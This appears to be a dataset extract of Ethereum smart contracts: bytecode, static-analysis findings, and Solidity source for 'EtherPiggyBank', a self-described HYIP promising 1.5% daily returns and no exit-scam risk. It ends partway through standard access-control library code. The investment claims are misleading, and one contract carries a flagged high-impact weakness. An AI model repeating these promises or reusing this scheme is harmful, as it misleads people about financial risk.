1515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600e81526020017f526f6b6f7320426173696c69736b00000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6402540be4000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f524f4b4f0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea2646970667358221220b35d1514a1f5bbd7b1cee0146c92e30cd775a64ffb571b26af832385921954e464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,664
0xc19cc95110af694336b1bfbb545f63309dda1043
pragma solidity ^0.4.18; // // EtherPiggyBank // (etherpiggybank.com) // // <`--'\>______ // /. . `' \ // (`') , @ // `-._, / // )-)_/--( > // '''' '''' // // Invest Ethereum into a long term stable solution where // your investment can grow organically as the system expands. // You will gain +1.5% of your invested Ethereum every day that // you leave it in the Ether Piggy Bank! // You can withdraw your investments at any time but it will // incur a 20% withdrawal fee (~13 days of investing). // You can also invest your profits back into your account and // your gains will compound the more you do this! // // Big players can compete for the investment positions available, // every time someone makes a deposit into the Ether Piggy Bank, // they will receive a percentage of that sale in their // affiliate commision. // You can buy this position off anyone and double it's current // buying price but every 3-7 days (depending on the position), // the buying price will halve until it reaches 0.125 ether. // Upon buying, the previous investor gets 75% of the buying price, // the dev gets 5% and the rest goes into the contract to encourage // an all round balanced ecosystem! // // You will also receive a 5% bonus, which will appear in your // affiliate commission, by referring another player to the game // via your referral URL! It's a HYIP on a smart contract, fully // transparent and you'll never need to worry about an exit scam or // someone taking all the money and leaving! contract EtherPiggyBank { // investment tracking for each address mapping (address => uint256) public investedETH; mapping (address => uint256) public lastInvest; // for referrals and investor positions mapping (address => uint256) public affiliateCommision; uint256 REF_BONUS = 4; // 4% of the ether invested // goes into the ref address' affiliate commision uint256 DEV_TAX = 1; // 1% of all ether invested // goes into the dev address' affiliate commision uint256 BASE_PRICE = 0.125 ether; // 1/8 ether uint256 INHERITANCE_TAX = 75; // 75% will be returned to the // investor if their position is purchased, the rest will // go to the contract and the dev uint256 DEV_TRANSFER_TAX = 5; // this means that when purchased the sale will be distrubuted: // 75% to the old position owner // 5% to the dev // and 20% to the contract for all the other investors // ^ this will encourage a healthy ecosystem struct InvestorPosition { address investor; uint256 startingLevel; uint256 startingTime; uint256 halfLife; uint256 percentageCut; } InvestorPosition[] investorPositions; address dev; // start up the contract! function EtherPiggyBank() public { // set the dev address dev = msg.sender; // make the gold level investor investorPositions.push(InvestorPosition({ investor: dev, startingLevel: 5, // 1/8 ether * 2^5 = 4 ether startingTime: now, halfLife: 7 days, // 7 days until the level decreases percentageCut: 5 // with 5% cut of all investments })); // make the silver level investor investorPositions.push(InvestorPosition({ investor: dev, startingLevel: 4, // 1/8 ether * 2^4 = 2 ether startingTime: now, halfLife: 5 days, // 5 days until the level decreases percentageCut: 3 // with 3% cut of all investments })); // make the bronze level investor investorPositions.push(InvestorPosition({ investor: dev, startingLevel: 3, // 1/8 ether * 2^3 = 1 ether startingTime: now, halfLife: 3 days, // 3 days until the level decreases percentageCut: 1 // with 1% cut of all investments })); } function investETH(address referral) public payable { require(msg.value >= 0.01 ether); if (getProfit(msg.sender) > 0) { uint256 profit = getProfit(msg.sender); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } uint256 amount = msg.value; // handle all of our investor positions first bool flaggedRef = (referral == msg.sender || referral == dev); // ref cannot be the sender or the dev for(uint256 i = 0; i < investorPositions.length; i++) { InvestorPosition memory position = investorPositions[i]; // check that our ref isn't an investor too if (position.investor == referral) { flaggedRef = true; } // we cannot claim on our own investments if (position.investor != msg.sender) { uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100); affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision); } } // now for the referral (if we have one) if (!flaggedRef && referral != 0x0) { uint256 refBonus = SafeMath.div(SafeMath.mul(amount, REF_BONUS), 100); // 4% affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus); } // hand out the dev tax uint256 devTax = SafeMath.div(SafeMath.mul(amount, DEV_TAX), 100); // 1% affiliateCommision[dev] = SafeMath.add(affiliateCommision[dev], devTax); // now put it in your own piggy bank! investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], amount); lastInvest[msg.sender] = now; } function divestETH() public { uint256 profit = getProfit(msg.sender); // 20% fee on taking capital out uint256 capital = investedETH[msg.sender]; uint256 fee = SafeMath.div(capital, 5); capital = SafeMath.sub(capital, fee); uint256 total = SafeMath.add(capital, profit); require(total > 0); investedETH[msg.sender] = 0; lastInvest[msg.sender] = now; msg.sender.transfer(total); } function withdraw() public{ uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } function withdrawAffiliateCommision() public { require(affiliateCommision[msg.sender] > 0); uint256 commision = affiliateCommision[msg.sender]; affiliateCommision[msg.sender] = 0; msg.sender.transfer(commision); } function reinvestProfit() public { uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], profit); } function inheritInvestorPosition(uint256 index) public payable { require(investorPositions.length > index); require(msg.sender == tx.origin); InvestorPosition storage position = investorPositions[index]; uint256 currentLevel = getCurrentLevel(position.startingLevel, position.startingTime, position.halfLife); uint256 currentPrice = getCurrentPrice(currentLevel); require(msg.value >= currentPrice); uint256 purchaseExcess = SafeMath.sub(msg.value, currentPrice); position.startingLevel = currentLevel + 1; position.startingTime = now; // now do the transfers uint256 inheritanceTax = SafeMath.div(SafeMath.mul(currentPrice, INHERITANCE_TAX), 100); // 75% position.investor.transfer(inheritanceTax); position.investor = msg.sender; // set the new investor address // now the dev transfer tax uint256 devTransferTax = SafeMath.div(SafeMath.mul(currentPrice, DEV_TRANSFER_TAX), 100); // 5% dev.transfer(devTransferTax); // and finally the excess msg.sender.transfer(purchaseExcess); // after this point there will be 20% of currentPrice left in the contract // this will be automatically go towards paying for profits and withdrawals } function getInvestorPosition(uint256 index) public view returns(address investor, uint256 currentPrice, uint256 halfLife, uint256 percentageCut) { InvestorPosition memory position = investorPositions[index]; return (position.investor, getCurrentPrice(getCurrentLevel(position.startingLevel, position.startingTime, position.halfLife)), position.halfLife, position.percentageCut); } function getCurrentPrice(uint256 currentLevel) internal view returns(uint256) { return BASE_PRICE * 2**currentLevel; // ** is exponent, price doubles every level } function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) internal view returns(uint256) { uint256 timePassed = SafeMath.sub(now, startingTime); uint256 levelsPassed = SafeMath.div(timePassed, halfLife); if (startingLevel < levelsPassed) { return 0; } return SafeMath.sub(startingLevel,levelsPassed); } function getProfitFromSender() public view returns(uint256){ return getProfit(msg.sender); } function getProfit(address customer) public view returns(uint256){ uint256 secondsPassed = SafeMath.sub(now, lastInvest[customer]); return SafeMath.div(SafeMath.mul(secondsPassed, investedETH[customer]), 5760000); // = days * amount * 0.015 (+1.5% per day) } function getAffiliateCommision() public view returns(uint256){ return affiliateCommision[msg.sender]; } function getInvested() public view returns(uint256){ return investedETH[msg.sender]; } function getBalance() public view returns(uint256){ return this.balance; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631054d657146100e057806312065fe0146100f55780633ccfd60b1461011e57806343c6e10d146101335780635c5f02651461015c5780635f3619b1146101a95780636a4d4bb8146101d25780637a99ba4f1461024a5780637be0051014610278578063befc3e2b146102c5578063c600e1dc146102ee578063cc6d8ba61461033b578063d86479df14610353578063e3b61135146103a0578063f09dd7c6146103b5575b600080fd5b34156100eb57600080fd5b6100f36103ca565b005b341561010057600080fd5b61010861051e565b6040518082815260200191505060405180910390f35b341561012957600080fd5b61013161053d565b005b341561013e57600080fd5b6101466105e0565b6040518082815260200191505060405180910390f35b341561016757600080fd5b610193600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610627565b6040518082815260200191505060405180910390f35b34156101b457600080fd5b6101bc61063f565b6040518082815260200191505060405180910390f35b34156101dd57600080fd5b6101f3600480803590602001909190505061064f565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b610276600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610744565b005b341561028357600080fd5b6102af600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d17565b6040518082815260200191505060405180910390f35b34156102d057600080fd5b6102d8610d2f565b6040518082815260200191505060405180910390f35b34156102f957600080fd5b610325600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d75565b6040518082815260200191505060405180910390f35b6103516004808035906020019091905050610e1f565b005b341561035e57600080fd5b61038a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061106a565b6040518082815260200191505060405180910390f35b34156103ab57600080fd5b6103b3611082565b005b34156103c057600080fd5b6103c861116f565b005b6000806000806103d933610d75565b93506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250610427836005611288565b915061043383836112a3565b925061043f83856112bc565b905060008111151561045057600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561051857600080fd5b50505050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600061054833610d75565b905060008111151561055957600080fd5b42600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156105dd57600080fd5b50565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60026020528060005260406000206000915090505481565b600061064a33610d75565b905090565b60008060008061065d61136a565b60088681548110151561066c57fe5b906000526020600020906005020160a060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152602001600382015481526020016004820154815250509050806000015161072a6107258360200151846040015185606001516112da565b61131e565b826060015183608001519450945094509450509193509193565b60008060008061075261136a565b6000806000662386f26fc10000341015151561076d57600080fd5b600061077833610d75565b111561080e5761078733610d75565b975042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f19350505050151561080d57600080fd5b5b3496503373ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614806108985750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16145b9550600094505b600880549050851015610a87576008858154811015156108bb57fe5b906000526020600020906005020160a060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815260200160048201548152505093508873ffffffffffffffffffffffffffffffffffffffff16846000015173ffffffffffffffffffffffffffffffffffffffff16141561099257600195505b3373ffffffffffffffffffffffffffffffffffffffff16846000015173ffffffffffffffffffffffffffffffffffffffff16141515610a7a576109e36109dc88866080015161132f565b6064611288565b9250610a3260026000866000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846112bc565b60026000866000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b848060010195505061089f565b85158015610aac575060008973ffffffffffffffffffffffffffffffffffffffff1614155b15610b5657610ac7610ac08860035461132f565b6064611288565b9150610b12600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836112bc565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b6c610b658860045461132f565b6064611288565b9050610bd960026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826112bc565b60026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c866000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054886112bc565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050505050565b60016020528060005260406000206000915090505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b600080610dc142600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a3565b9050610e17610e0e826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132f565b6257e400611288565b915050919050565b60008060008060008086600880549050111515610e3b57600080fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7557600080fd5b600887815481101515610e8457fe5b90600052602060002090600502019550610eab8660010154876002015488600301546112da565b9450610eb68561131e565b9350833410151515610ec757600080fd5b610ed134856112a3565b9250600185018660010181905550428660020181905550610efe610ef78560065461132f565b6064611288565b91508560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610f6457600080fd5b338660000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fbd610fb68560075461132f565b6064611288565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561102157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050151561106157600080fd5b50505050505050565b60006020528060005260406000206000915090505481565b600061108d33610d75565b905060008111151561109e57600080fd5b42600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061112a6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826112bc565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156111be57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561128557600080fd5b50565b600080828481151561129657fe5b0490508091505092915050565b60008282111515156112b157fe5b818303905092915050565b60008082840190508381101515156112d057fe5b8091505092915050565b60008060006112e942866112a3565b91506112f58285611288565b9050808610156113085760009250611315565b61131286826112a3565b92505b50509392505050565b60008160020a600554029050919050565b60008060008414156113445760009150611363565b828402905082848281151561135557fe5b0414151561135f57fe5b8091505b5092915050565b60a060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160008152602001600081526020016000815250905600a165627a7a7230582042eab08ee921d67f8cbeba2767d091005d7492bd3d8b668b37d16ad25d4fe8500029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,665
0x30dff3aa23bd7626ea41b8fd4382a448aa0de2a7
/** *Submitted for verification at Etherscan.io on 2021-07-03 */ pragma solidity =0.8.0; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account 